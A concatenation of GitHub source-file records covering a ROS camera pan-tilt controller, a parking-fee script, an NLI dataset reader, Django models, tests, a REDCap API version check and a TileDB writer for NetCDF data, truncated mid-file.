- self.x_robot_init\n self.y_carrelage = y_robot - self.y_robot_init\n self.theta_carrelage = normalise_angle(theta_robot - self.theta_robot_init)\n\n\n def save_new_track(self):\n print('{}\\t{}\\t{}\\t{}'.format(self.camera_info.pan, self.camera_info.tilt, self.x_carrelage, self.y_carrelage))\n\n if (self.camera_info.pan is not None and self.camera_info.tilt is not None\n and self.x_carrelage is not None and self.y_carrelage is not None):\n\n print(\"I'm saving !\")\n\n with open(self.track_file, 'a') as f:\n s = '{},{},{},{}\\n'.format(self.camera_info.pan,\n self.camera_info.tilt, self.x_carrelage, self.y_carrelage)\n f.write(s)\n\n\n def camera_callback(self, msg):\n\n print(\"camera_callback\")\n\n self.camera_info = msg\n self.convert()\n\n time.sleep(0.2)\n self.save_new_track()\n self.cmd_pub.publish(self.camera_info)\n\n\n def coordinates_callback(self, msg):\n print(\"coordinates_callback\")\n self.coordinates = msg\n\n\n def convert(self):\n\n zoom = self.camera_info.zoom\n tilt = self.camera_info.tilt\n pan = self.camera_info.pan\n brightness = self.camera_info.brightness\n iris = IRIS_VALUE\n autofocus = self.camera_info.autofocus\n\n if self.coordinates.x or self.coordinates.y:\n self.mode = 'track'\n else:\n self.mode = 'search'\n\n if self.mode == 'track':\n\n print('Mode Track')\n\n PI = math.pi\n xc, yc = 355, 275\n\n theta = 4.189301e+001-6.436043e-003*zoom+2.404497e-007*zoom*zoom\n\n focale = xc/math.tan((PI*theta/180.0)/2)\n\n x = self.coordinates.x - xc\n y = self.coordinates.y - yc\n z = focale\n\n norme = math.sqrt(x*x + y*y + z*z)\n x /= norme\n y /= norme\n z /= norme\n\n beta0 = -(PI*pan/180.0)\n alpha0 = -(PI*tilt/180.0)\n\n X = math.cos(beta0)*x + math.sin(alpha0) * math.sin(beta0)*y - math.cos(alpha0)* math.sin(beta0)*z\n Y = math.cos(alpha0)*y + math.sin(alpha0)*z\n Z = math.sin(beta0)*x - math.sin(alpha0)* math.cos(beta0)*y + math.cos(alpha0)* math.cos(beta0)*z\n\n alpha = math.atan2(Y, math.sqrt(X*X + Z*Z))\n beta = -math.atan2(X, Z);\n\n pan = -(180.0*beta/PI)\n tilt = -(180.0*alpha/PI)\n\n self.camera_info.pan = pan\n self.camera_info.tilt = tilt\n self.camera_info.zoom = zoom\n self.camera_info.iris = IRIS_VALUE\n\n elif self.mode == 'search':\n\n index_pan_tilt = random.randint(0, len(liste_pan_tilt_search)-1)\n pan_search,tilt_search = liste_pan_tilt_search[index_pan_tilt][0], liste_pan_tilt_search[index_pan_tilt][1]\n\n self.camera_info.tilt = tilt_search\n self.camera_info.pan = pan_search\n time.sleep(1)\n\n print('Mode Search')\n\n if self.camera_info.pan >= 180.0 or self.camera_info.pan <= -180.0:\n self.sens = - self.sens\n self.camera_info.pan += self.sens * 10.0\n\n print(self.camera_info.pan)\n\n\nif __name__ == '__main__':\n\n rospy.init_node('pan_tilt', anonymous=True)\n pantilt_controller = PanTiltController()\n\n rospy.spin()\n","repo_name":"cecileTran2/TurtleTrack","sub_path":"src/turtle_controller/scripts/pan_tilt.py","file_name":"pan_tilt.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39988877571","text":"print(\"¡Valor del estacionamiento dependiendo el dia, minutos y horas estacionado!\")\n\ndia = input(\"\\nIngrese el dia de la semana en el que adquirio el servicio de estacionamiento (Lunes, Martes, Miercoles, Jueves, Viernes, Sabado O Domingo): \")\ntiempo = input(\"Ingresa la cantidad de horas y minutos de estacionamiento (HH:MM): \")\n\nhoras, minutos = tiempo.split(\":\")\ntiempo_minutos = int(horas) * 60 + int(minutos)\n\nif dia in [\"lunes\", \"martes\", \"miercoles\"]:\n precio_por_hora = 2.00\nelif dia in [\"jueves\", \"viernes\"]:\n precio_por_hora = 2.50\nelif dia in [\"sabado\", \"domingo\"]:\n precio_por_hora = 3.00\nelse:\n print(\"¡ERROR! El dia la semana es incorrecto o esta mal escrito\")\n exit()\n \nprecio_total = precio_por_hora * (tiempo_minutos // 60 + (1 if tiempo_minutos % 60 > 5 else 0))\n\nprint(\"El precio total del estacionamiento es: $\" + str(precio_total))","repo_name":"davidsierra123/Python","sub_path":"estacionamiento.py","file_name":"estacionamiento.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8322272803","text":"import logging\nimport numpy as np\nfrom overrides import overrides\nimport random\nfrom typing import Callable, Dict, Iterable, Iterator, List\n\nfrom allennlp.common import Params, Tqdm\nfrom allennlp.data.dataset_readers.dataset_reader import DatasetReader\nfrom allennlp.data.fields import ArrayField\nfrom allennlp.data.fields.metadata_field import MetadataField\nfrom allennlp.data.instance import Instance\n\nfrom src.gnli_tokenizer import GNLITokenizer\nfrom src import utils \n\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\n@DatasetReader.register(\"gnli\")\nclass GNLIDatasetReader(DatasetReader):\n\tdef __init__(self,\n\t\t\t\t pretrained_model: str,\n\t\t\t\t max_premise_length: int = None,\n\t\t\t\t max_hypothesis_length: int = None,\n\t\t\t\t percent_data: float = 1,\n\t\t\t\t lazy: bool = False) -> None:\n\t\tsuper().__init__(lazy)\n\t\tassert percent_data > 0 and percent_data <= 1\n\t\tself.percent_data = percent_data\n\t\tself.max_premise_length = max_premise_length\n\t\tself.max_hypothesis_length = max_hypothesis_length\n\n\t\tself._tokenizer = GNLITokenizer.from_pretrained(pretrained_model)\n\t\tself._label_dict = {'entailment': 0, 'neutral': 1, 'contradiction': 2}\n\n\t@overrides\n\tdef _read(self, file_path: str):\n\t\tlines = utils.read_data(file_path, self.percent_data)\n\n\t\t# Create instances\n\t\tfor line in lines:\n\t\t\tyield self.text_to_instance(**line)\n\n\t@overrides\n\tdef text_to_instance(self, premise: str, hypothesis: str, label: str = None, tag=None) -> Instance:\n\t\t####################\n\t\t##### Tokenization and truncation\n\t\t####################\n\t\tpremise_tokens = self._tokenizer.tokenize(premise.strip())\n\t\thypothesis_tokens = self._tokenizer.tokenize(hypothesis.strip())\n\t\tpremise_tokens, hypothesis_tokens = self._truncate_input(premise_tokens, hypothesis_tokens)\n\n\t\t####################\n\t\t##### Create ids for encoder inputs, decoder inputs and decoder targets \n\t\t####################\n\n\t\t## Create encoder inputs\n\t\tsrc = []\n\t\tsrc.append(self._tokenizer.add_special_tokens_single_sentence(self._tokenizer.convert_tokens_to_ids([self._tokenizer.entail_token]+premise_tokens)))\n\t\tsrc.append(self._tokenizer.add_special_tokens_single_sentence(self._tokenizer.convert_tokens_to_ids([self._tokenizer.neutral_token]+premise_tokens)))\n\t\tsrc.append(self._tokenizer.add_special_tokens_single_sentence(self._tokenizer.convert_tokens_to_ids([self._tokenizer.contradict_token]+premise_tokens)))\n\t\tassert len(src[0]) == len(src[1]) == len(src[2])\n\t\tsrc_length = len(src[0])\n\n\t\t## Create decoder inputs and targets\n\t\t# Targets of the decoder: [ A B C D E <\\s>]\n\t\ttarget = self._tokenizer.add_special_tokens_single_sentence(self._tokenizer.convert_tokens_to_ids(hypothesis_tokens))\n\t\t# Inputs of the decoder: [<\\s> A B C D E]\n\t\tprev_output_tokens = [self._tokenizer.eos_token_id] + target[:-1]\n\t\ttarget_length = len(target)\n\n\t\t####################\n\t\t##### Padding of the input \n\t\t####################\n\t\t# Pad the premise ids (the source)\n\t\tif self.max_premise_length:\n\t\t\tencoder_padding = [self._tokenizer.pad_token_id]*(self.max_premise_length - src_length)\n\t\t\tsrc = [s + encoder_padding for s in src] \n\n\t\t# Pad the hypothesis ids (the target)\n\t\tif self.max_hypothesis_length:\n\t\t\tdecoder_padding = [self._tokenizer.pad_token_id]*(self.max_hypothesis_length - target_length)\n\t\t\ttarget += decoder_padding\n\t\t\tprev_output_tokens += decoder_padding\n\n\t\t# Replicate `prev_output_tokens` and `src_lengths` three times\n\t\tprev_output_tokens = [prev_output_tokens]*3\n\t\tsrc_length = [src_length]*3\n\n\t\t####################\n\t\t##### Create instance\n\t\t####################\n\t\tmetadata = {'premise': premise,\n\t\t\t\t\t'hypothesis': hypothesis,\n\t\t\t\t\t'premise_tokens': premise_tokens,\n\t\t\t\t\t'hypothesis_tokens': hypothesis_tokens,\n\t\t\t\t\t'label': label, 'tag': tag}\n\n\t\tfields = {'src':\t \t\t\tArrayField(np.array(src), dtype=np.int64),\n\t\t\t\t 'src_lengths': \t\tArrayField(np.array(src_length), dtype=np.int64),\n\t\t\t\t 'prev_output_tokens': ArrayField(np.array(prev_output_tokens), dtype=np.int64),\n\t\t\t\t 'target': \t\t\tArrayField(np.array(target), dtype=np.int64),\n\t\t\t\t 'target_lengths':\t\tArrayField(np.array(target_length), dtype=np.int64),\n\t\t\t\t 'metadata': \t\t\tMetadataField(metadata)}\n\n\t\tif label is not None:\n\t\t\tfields['label'] = ArrayField(np.array(self._label_dict[label]), dtype=np.int64)\n\n\t\treturn Instance(fields)\n\n\tdef _truncate_input(self, premise_tokens, hypothesis_tokens):\n\t\tif self.max_premise_length:\n\t\t\t# Account for [] + label_token + premise_tokens + []\n\t\t\tmax_premise_length = self.max_premise_length - 3\n\t\t\tpremise_tokens = premise_tokens[:max_premise_length]\n\n\t\tif self.max_hypothesis_length:\n\t\t\t# Account for [] + hypothesis_tokens + []\n\t\t\tmax_hypothesis_length = self.max_hypothesis_length - 2\n\t\t\thypothesis_tokens = hypothesis_tokens[:max_hypothesis_length]\n\n\t\treturn premise_tokens, hypothesis_tokens\n","repo_name":"anthonywchen/generative-nli","sub_path":"src/gnli_dataset_reader.py","file_name":"gnli_dataset_reader.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33825662460","text":"from django.db import models\r\nfrom paciente.models import Paciente\r\nfrom especialista.models import Especialista\r\nfrom analise_video.models import AnaliseVideo\r\n\r\n\r\nclass Consulta(models.Model):\r\n data = models.DateTimeField(auto_now_add=True)\r\n video = models.FileField(upload_to=\"videos\", null=True, blank=True)\r\n relatorio = models.TextField(null=True, blank=True)\r\n sono_alterado = models.BooleanField(default=False)\r\n peso_alterado = models.BooleanField(default=False)\r\n apetite_alterado = models.BooleanField(default=False)\r\n paciente = models.ForeignKey(Paciente, on_delete=models.CASCADE)\r\n especialista = models.ForeignKey(Especialista, on_delete=models.CASCADE)\r\n analise_video = models.OneToOneField(AnaliseVideo, on_delete=models.CASCADE, blank=True, null=True, editable=True,\r\n default=None)\r\n \r\n def __str__(self):\r\n return str(self.pk)\r\n","repo_name":"mathFaino/aplica-o","sub_path":"psico_api - Modified/consulta/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16336813065","text":"import pytest\nfrom sqlalchemy.sql import delete, insert, select, text\nfrom request.domain import model\nfrom request.adapters.orm import assignments, requests\nfrom request.service_layer import unit_of_work\n\ndef insert_request(session, id, requestor, activity, destination, vehicle_id, req_date,req_time):\n session.execute(\n insert(requests).values(id=id, requestor=requestor, activity=activity, destination=destination, vehicle_id=vehicle_id, req_date=req_date, req_time=req_time)\n\n )\n\n\ndef test_uow_can_retrieve_a_request_and_assign(session_factory):\n session = session_factory\n insert_request(session, \"batch1\", \"HIPSTER-WORKBENCH\", 100, None)\n session.commit()\n\n uow = unit_of_work.SqlAlchemyUnitOfWork(session_factory)\n with uow:\n batch = uow.batches.get(reference=\"batch1\")\n line = model.OrderLine(\"o1\", \"HIPSTER-WORKBENCH\", 10)\n batch.allocate(line)\n uow.commit()\n\n batchref = get_allocated_batch_ref(session, \"o1\", \"HIPSTER-WORKBENCH\")\n assert batchref == \"batch1\"\n session.close()","repo_name":"R1CH4RD25/Request_Project","sub_path":"tests/integration/test_uow.py","file_name":"test_uow.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72393022952","text":"input = __import__('sys').stdin.readline\nfrom collections import defaultdict as dt\n\ndi = [(0,1), (1, 0), (0, -1), (-1, 0), (-1, -1), (-1, 1), (1, -1), (1, 1)]\nn, m, k = map(int, input().split())\nboard = [[5]* n for _ in range(n)]\ns2d2 = [list(map(int, input().split())) for _ in range(n)]\ntable = [[dt(int) for _ in range(n)] for _ in range(n)]\n\nfor _ in range(m):\n x, y, age = map(int, input().split())\n table[x-1][y-1][age] += 1\n\nyear, alive = 0, m\nwhile year < k and alive:\n year += 1\n # 봄, 여름\n nut = [[0] * n for _ in range(n)]\n fall = []\n for i in range(n):\n for j in range(n):\n if not table[i][j]: continue\n temp, dead = dt(int), 0\n for age in sorted(table[i][j].keys()):\n val = table[i][j][age]\n if board[i][j] >= age * val:\n board[i][j] -= age * val\n temp[age+1] = val\n else:\n survive = board[i][j] // age\n if not survive:\n dead += val * (age//2)\n alive -= val\n continue\n temp[age + 1] = survive\n board[i][j] -= survive * age\n alive -= (val - survive)\n dead += (val - survive) * (age // 2)\n table[i][j] = temp\n nut[i][j] = dead\n # 가을\n for i in range(n):\n for j in range(n):\n if not table[i][j]: continue\n cnt = 0\n for age in table[i][j]:\n if age % 5 == 0:\n cnt += table[i][j][age]\n if cnt:\n for dx, dy in di:\n nx, ny = i + dx, j + dy\n if 0 <= nx < n and 0 <= ny < n:\n alive += cnt\n table[nx][ny][1] += cnt\n\n # 겨울\n for i in range(n):\n for j in range(n):\n board[i][j] += s2d2[i][j] + nut[i][j]\nprint(alive)","repo_name":"112224/algorithm","sub_path":"python3/16235 나무 재테크.py","file_name":"16235 나무 재테크.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43158690177","text":"import requests\nimport json\nfrom pprint import pprint\nfrom datetime import datetime\nfrom io import StringIO\nimport pandas as pd\n\ndef read_api_config(config_file = './api_tokens.json'):\n api_token_file = config_file\n with open(api_token_file,'r') as f:\n api_conf = json.load(f)\n\n api_key_local = api_conf['api_key_local'] # API token for local\n api_key_r4 = api_conf['api_key_r4'] # API token for R4.\n cu_local_endpoint = api_conf['local_endpoint'] # local api endpoint\n r4_api_endpoint = api_conf['r4_api_endpoint'] # R4 api endpoint\n return api_key_local, api_key_r4, cu_local_endpoint, r4_api_endpoint\n\ndef get_api_version(api_key_local, api_key_r4, cu_local_endpoint, r4_api_endpoint):\n data = {\n 'token': api_key_local,\n 'content': 'version'\n }\n r = requests.post(cu_local_endpoint,data=data)\n print('HTTP Status: ' + str(r.status_code))\n print('Local redcap version : ' + str(r.content))\n data = {\n 'token': api_key_r4,\n 'content': 'version'\n }\n r = requests.post(r4_api_endpoint,data=data)\n print('HTTP Status: ' + str(r.status_code))\n print('R4 redcap version : ' + str(r.content))\n\nif __name__ == \"__main__\":\n api_key_local, api_key_r4, cu_local_endpoint, r4_api_endpoint = read_api_config()\n get_api_version(api_key_local, api_key_r4, cu_local_endpoint, r4_api_endpoint)\n\n\n","repo_name":"stormliucong/eIV-recruitement-support-redcap","sub_path":"get_redcap_version.py","file_name":"get_redcap_version.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8287716969","text":"import os\nimport shutil\nfrom pathlib import Path\n\nimport pytest\n\n\ndef pytest_sessionstart(session):\n # Clean the sandbox\n for folder in (Path(__file__).parents[0] / \"sandbox\").glob(\"*\"):\n if folder.is_dir():\n shutil.rmtree(folder)\n\n\ndef pytest_addoption(parser):\n parser.addoption(\n \"--remote\",\n action=\"store_true\",\n dest=\"remote\",\n default=False,\n help=\"enable remote tests\",\n )\n parser.addoption(\n \"--action-spec\",\n action=\"store\",\n default=\"showyourwork\",\n help=\"version spec of showyourwork to install on GH Actions\",\n )\n\n\ndef pytest_configure(config):\n config.addinivalue_line(\"markers\", \"remote: a test that requires remote access\")\n os.environ[\"ACTION_SPEC\"] = str(config.getoption(\"--action-spec\"))\n\n\ndef pytest_collection_modifyitems(config, items):\n if config.getoption(\"--remote\"):\n return\n skipper = pytest.mark.skip(reason=\"need --remote option to run\")\n for item in items:\n if \"remote\" in item.keywords:\n item.add_marker(skipper)\n","repo_name":"showyourwork/showyourwork","sub_path":"tests/integration/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":488,"dataset":"github-code","pt":"72"} +{"seq_id":"38542714557","text":"from django_filters import rest_framework as filters\nfrom .models import CommentsModel\n\nSTATUS_CHOICES = (\n ('approved', '已通过'),\n ('waiting', '待审核'),\n ('spam', '垃圾评论'),\n)\n\n\nclass CommentFilter(filters.FilterSet):\n\n status = filters.ChoiceFilter(choices=STATUS_CHOICES, label=\"状态\")\n\n class Meta:\n model = CommentsModel\n fields = ['status']\n","repo_name":"mkdir700/Marilyn","sub_path":"apps/comments/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29058188998","text":"from collections import defaultdict, namedtuple\nimport copy\nimport json\nimport logging\nimport os\n\nimport numpy as np\nimport tiledb\n\nfrom .core import Writer\nfrom ..data_model import NCDataModel, NCDataModelGroup\nfrom ..grid_mappings import store_grid_mapping\n\n\nappend_arg_list = ['other', 'name', 'offsets', 'axes',\n 'mapping', 'verbose', 'job_number', 'n_jobs',\n 'group','ctx', 'logfile']\ndefaults = [None] * len(append_arg_list)\nAppendArgs = namedtuple('AppendArgs', append_arg_list, defaults=defaults)\n\n\nclass TileDBWriter(Writer):\n \"\"\"\n Write Python objects loaded from NetCDF to TileDB, including writing TileDB\n arrays with multiple data attributes from different NetCDF data variables\n that are equally dimensioned.\n\n Data Model: an instance of `NCDataModel` supplying data from a NetCDF file.\n Filepath: the filepath to save the tiledb array at.\n\n \"\"\"\n def __init__(self, data_model,\n array_filepath=None, container=None, array_name=None,\n unlimited_dims=None, ctx=None, domain_separator=','):\n \"\"\"\n Set up a writer to store the contents of one or more NetCDF data models\n in a TileDB array.\n\n Args:\n * data_model: An `NCDataModel` object. Defines the contents of the base NetCDF file\n to write to TileDB.\n\n Kwargs:\n * array_filepath: posix-like path of location on disk to write the TileDB array.\n Either `array_filepath` or `container` *must* be provided, but not both.\n * container: the name of an Azure Storage container to write the TileDB array to.\n Either `array_filepath` or `container` *must* be provided, but not both.\n * array_name: the name of the root TileDB array to write. Defaults to the name of the\n data model's NetCDF file if not set. By specifying `array_name` as a\n relative path along with `container` you can write the TileDB array\n to a location other than the Azure Storage container's root.\n * unlimited_dims: a named dimension that will have unlimited length in the written\n TileDB array. Typically this is set to a dimension you wish to append to.\n The string given here must be the name of a dimension in the supplied\n `data_model`.\n * ctx: a TileDB Ctx (context) object, typically used to store metadata relating to the\n Azure Storage container.\n * domain_separator: a string that specifies the separator between dimensions in\n domain names. Defaults to `,`.\n\n \"\"\"\n super().__init__(data_model, array_filepath, container, array_name,\n unlimited_dims, ctx)\n\n if self.unlimited_dims is None:\n self.unlimited_dims = []\n self.domain_separator = domain_separator\n self._domains_mapping = None\n\n @property\n def domains_mapping(self):\n if self._domains_mapping is None:\n self._make_shape_domains()\n return self._domains_mapping\n\n @domains_mapping.setter\n def domains_mapping(self, value):\n self._domains_mapping = value\n\n def _public_domain_name(self, dimensions, separator):\n \"\"\"\n A common method for determining the domain name for a given data variable,\n based on its dimensions.\n\n \"\"\"\n return separator.join(dimensions)\n\n def _create_tdb_directory(self, group_dirname):\n \"\"\"\n Create an on-filesystem directory for a tiledb group if it does\n not exist, and ignore the error if it does.\n\n \"\"\"\n try:\n os.makedirs(group_dirname)\n except FileExistsError:\n pass\n\n def _get_attributes(self, data_var):\n ncattrs = data_var.ncattrs()\n metadata = {}\n for ncattr in ncattrs:\n metadata[ncattr] = data_var.getncattr(ncattr)\n # Add a fallback long_name in case of both standard_name and long_name being missing.\n if \"standard_name\" not in ncattrs and \"long_name\" not in ncattrs:\n metadata[\"long_name\"] = data_var.name\n return metadata\n\n def _multi_attr_metadata(self, data_var_names):\n if len(data_var_names) == 1:\n data_var = self.data_model.variables[data_var_names[0]]\n metadata = self._get_attributes(data_var)\n else:\n metadata = {}\n for var_name in data_var_names:\n data_var = self.data_model.variables[var_name]\n data_var_meta = self._get_attributes(data_var)\n # XXX TileDB does not support dict in array metadata...\n for key, value in data_var_meta.items():\n metadata[f'{key}__{var_name}'] = value\n return metadata\n\n def _make_shape_domains(self):\n \"\"\"\n Make one domain for each unique combination of shape and dimension variables.\n\n We need to make this set of domains for the multi-attr case as a limitation\n in TileDB means that all attrs in an array must be written at the same time,\n which also means the indexing for all attrs to be written must be the same.\n\n \"\"\"\n shape_domains = []\n for data_var_name in self.data_model.data_var_names:\n dimensions = self.data_model.variables[data_var_name].dimensions\n # Promote scalar append dimensions.\n if self.unlimited_dims not in dimensions and self.unlimited_dims in self.data_model.scalar_coord_names:\n dimensions = [self.unlimited_dims] + list(dimensions)\n self._scalar_unlimited = self.unlimited_dims\n domain_string = self._public_domain_name(dimensions, self.domain_separator)\n shape_domains.append((domain_string, data_var_name))\n\n domains_mapping = defaultdict(list)\n for domain, data_var_name in shape_domains:\n domains_mapping[domain].append(data_var_name)\n self.domains_mapping = domains_mapping\n\n def _create_tiledb_dim(self, dim_name, coords):\n dim_coord = self.data_model.variables[dim_name]\n chunks = self.data_model.get_chunks(dim_name)\n\n # Handle scalar dimensions.\n if dim_name == self._scalar_unlimited:\n dim_coord_len = 1\n chunks = (1,)\n else:\n # TODO: work out nD coords (although a DimCoord will never be nD).\n dim_coord_len, = dim_coord.shape\n\n # Set the tdb dimension dtype to `int64` regardless of input.\n # Dimensions must have int indices for dense array schemas.\n # All tdb dims in a domain must have exactly the same dtype.\n dim_dtype = np.int64\n\n # Sort out the domain, based on whether the dim is unlimited,\n # or whether it was specified that it should be by `self.unlimited_dims`.\n if dim_name in self.unlimited_dims or dim_name in self.data_model.unlimited_dim_coords:\n domain_max = np.iinfo(dim_dtype).max - dim_coord_len\n else:\n domain_max = dim_coord_len\n\n # Modify the name of the dimension if this dimension describes the domain\n # for a dim coord array.\n # Array attrs and dimensions must have different names.\n if coords:\n dim_name = f'{dim_name}_coord'\n\n return tiledb.Dim(name=dim_name,\n domain=(0, domain_max),\n tile=chunks,\n dtype=dim_dtype)\n\n def populate_array(self, data_var, domain_name,\n start_index=None, write_meta=True):\n \"\"\"Write the contents of a netcdf data variable into a tiledb array.\"\"\"\n # Get the data variable and the URI of the array to write to.\n var_name = data_var.name\n array_filename = self.array_path.construct_path(domain_name, var_name)\n\n # Write to the array.\n scalar = var_name == self._scalar_unlimited\n write_array(array_filename, data_var,\n start_index=start_index, scalar=scalar, ctx=self.ctx)\n if write_meta:\n with tiledb.open(array_filename, 'w', ctx=self.ctx) as A:\n # Set tiledb metadata from data var ncattrs.\n for ncattr in data_var.ncattrs():\n A.meta[ncattr] = data_var.getncattr(ncattr)\n # Add metadata describing whether this is a coord or data var.\n if var_name in self.data_model.data_var_names:\n # A data array gets a `dataset` key in the metadata dictionary,\n # which defines all the data variables in it.\n A.meta['dataset'] = var_name\n # Define this as not being a multi-attr array.\n A.meta['multiattr'] = False\n # Add grid mapping metadata as a JSON string.\n grid_mapping_string = self._get_grid_mapping(data_var)\n A.meta['grid_mapping'] = grid_mapping_string\n # XXX: can't add list or tuple as values to metadata dictionary...\n dim_coord_names = self._get_dim_coord_names(var_name)\n A.meta['dimensions'] = ','.join(n for n in dim_coord_names)\n elif var_name in self.data_model.dim_coord_names:\n # A dim coord gets a `coord` key in the metadata dictionary,\n # value being the name of the coordinate.\n A.meta['coord'] = self.data_model.dimensions[var_name].name\n elif var_name == self._scalar_unlimited:\n # Handle scalar coords along the append axis.\n A.meta['coord'] = self._scalar_unlimited\n else:\n # Don't know how to handle this. It might be an aux or scalar\n # coord, but we're not currently writing TDB arrays for them.\n pass\n\n def populate_domain_arrays(self, domain_vars, domain_name):\n \"\"\"Populate all arrays with data from netcdf data vars within a tiledb group.\"\"\"\n for var_name in domain_vars:\n data_var = self.data_model.variables[var_name]\n self.populate_array(data_var, domain_name)\n\n def create_domain_arrays(self, domain_vars, domain_name, coords=False):\n \"\"\"Create one single-attribute array per data var in this NC domain.\"\"\"\n for var_name in domain_vars:\n # Set dims for the enclosing domain.\n\n data_var = self.data_model.variables[var_name]\n data_var_dims = data_var.dimensions\n # Handle scalar append dimension coordinates.\n if not len(data_var_dims) and var_name == self._scalar_unlimited:\n data_var_dims = [self._scalar_unlimited]\n array_dims = [self._create_tiledb_dim(dim_name, coords) for dim_name in data_var_dims]\n tdb_domain = tiledb.Domain(*array_dims)\n\n # Get tdb attributes.\n attr = tiledb.Attr(name=var_name, dtype=data_var.dtype)\n\n # Create the URI for the array.\n array_filename = self.array_path.construct_path(domain_name, var_name)\n # Create an empty array.\n schema = tiledb.ArraySchema(domain=tdb_domain, sparse=False,\n attrs=[attr], ctx=self.ctx)\n tiledb.Array.create(array_filename, schema)\n\n def populate_multiattr_array(self, data_array_name, data_var_names, domain_name,\n start_index=None, write_meta=True):\n \"\"\"Write the contents of multiple data variables into a multi-attr TileDB array.\"\"\"\n array_filename = self.array_path.construct_path(domain_name, data_array_name)\n\n # Write to the array.\n data_vars = {name: self.data_model.variables[name] for name in data_var_names}\n scalar = self._scalar_unlimited is not None\n write_multiattr_array(array_filename, data_vars,\n start_index=start_index, scalar=scalar, ctx=self.ctx)\n if write_meta:\n multi_attr_metadata = self._multi_attr_metadata(data_var_names)\n with tiledb.open(array_filename, 'w', ctx=self.ctx) as A:\n # Set tiledb metadata from data var ncattrs.\n for key, value in multi_attr_metadata.items():\n A.meta[key] = value\n # A data array gets a `dataset` key in the metadata dictionary,\n # which defines all the data variables in it.\n A.meta['dataset'] = ','.join(data_var_names)\n # Define this as being a multi-attr array.\n A.meta['multiattr'] = True\n # Add grid mapping metadata as a JSON string.\n zeroth_data_var = list(data_vars.values())[0]\n grid_mapping_string = self._get_grid_mapping(zeroth_data_var)\n A.meta['grid_mapping'] = grid_mapping_string\n # XXX: can't add list or tuple as values to metadata dictionary...\n dim_coord_names = self._get_dim_coord_names(data_var_names[0])\n A.meta['dimensions'] = ','.join(n for n in dim_coord_names)\n\n def create_multiattr_array(self, domain_var_names, domain_dims,\n domain_name, data_array_name):\n \"\"\"Create one multi-attr TileDB array with an attr for each data variable.\"\"\"\n # Create dimensions and domain for the multi-attr array.\n array_dims = [self._create_tiledb_dim(dim_name, coords=False) for dim_name in domain_dims]\n tdb_domain = tiledb.Domain(*array_dims)\n\n # Set up the multiple attrs for the array.\n attrs = []\n for var_name in domain_var_names:\n dtype = self.data_model.variables[var_name].dtype\n attr = tiledb.Attr(name=var_name, dtype=dtype)\n attrs.append(attr)\n\n # Create the URI for the array.\n array_filename = self.array_path.construct_path(domain_name, data_array_name)\n # Create an empty array.\n schema = tiledb.ArraySchema(domain=tdb_domain, sparse=False,\n attrs=attrs, ctx=self.ctx)\n tiledb.Array.create(array_filename, schema)\n\n def create_domains(self, data_array_name='data', domains_mapping=None):\n \"\"\"\n Create one TileDB domain for each unique shape / dimensions combination\n in the input Data Model. Each domain will contain:\n * one multi-attr array, where the attrs are all the data variables described\n by this combination of dimensions, and\n * one array for each of the dimension-describing coordinates for this\n combination of dimensions.\n\n \"\"\"\n self._make_shape_domains()\n if domains_mapping is None:\n domains_mapping = self.domains_mapping\n\n for domain_name, domain_var_names in domains_mapping.items():\n domain_coord_names = domain_name.split(self.domain_separator)\n\n # Create group.\n group_dirname = self.array_path.construct_path(domain_name, '')\n # XXX This might be failing because the TileDB root dir doesn't exist...\n # For a POSIX path we must explicitly create the group directory.\n if self.array_filepath is not None:\n # TODO why is this necessary? Shouldn't tiledb create if this dir does not exist?\n self._create_tdb_directory(group_dirname)\n\n tiledb.group_create(group_dirname, ctx=self.ctx)\n\n # Create and write arrays for each domain-describing coordinate.\n self.create_domain_arrays(domain_coord_names, domain_name, coords=True)\n self.populate_domain_arrays(domain_coord_names, domain_name)\n\n # Get data vars in this domain and create and populate a multi-attr array.\n self.create_multiattr_array(domain_var_names, domain_coord_names,\n domain_name, data_array_name)\n self.populate_multiattr_array(data_array_name, domain_var_names, domain_name)\n\n def _get_scalar_offset(self, baseline, append_dim, self_dim_stop):\n \"\"\"\n Use the specified baseline file to calculate the single offset between every\n successive step along the scalar append dimension.\n\n \"\"\"\n odm = NCDataModel(baseline)\n with odm.open_netcdf():\n odm.classify_variables()\n odm.get_metadata()\n points = np.atleast_1d(odm.variables[append_dim][:])\n result = points - self_dim_stop\n return result[0]\n\n def _run_consolidate(self, domain_names, data_array_name, verbose=False):\n # Consolidate at the end of the append operations to make the resultant\n # array more performant.\n config_key_name = \"sm.consolidation.steps\"\n config_key_value = 100\n if self.ctx is None:\n config = tiledb.Config({config_key_name: config_key_value})\n ctx = tiledb.Ctx(config)\n else:\n cfg_dict = self.ctx.config().dict()\n cfg_dict[config_key_name] = config_key_value\n ctx = tiledb.Ctx(config=tiledb.Config(cfg_dict))\n for i, domain_name in enumerate(domain_names):\n if verbose:\n print() # Clear last carriage-returned print statement.\n print(f'Consolidating array: {i+1}/{len(domain_names)}', end=\"\\r\")\n else:\n print('Consolidating...')\n array_path = self.array_path.construct_path(domain_name, data_array_name)\n tiledb.consolidate(array_path, ctx=ctx)\n\n def _baseline_append_offsets(self, append_dim_name, baseline=None, override_offset=None):\n \"\"\"\n Determine the length of the base array (represented by `self`) along a\n named append dimension `append_dim_name`. Return the following values,\n which can be used to calculate the offset along the append dimension of\n a given chunk of data to 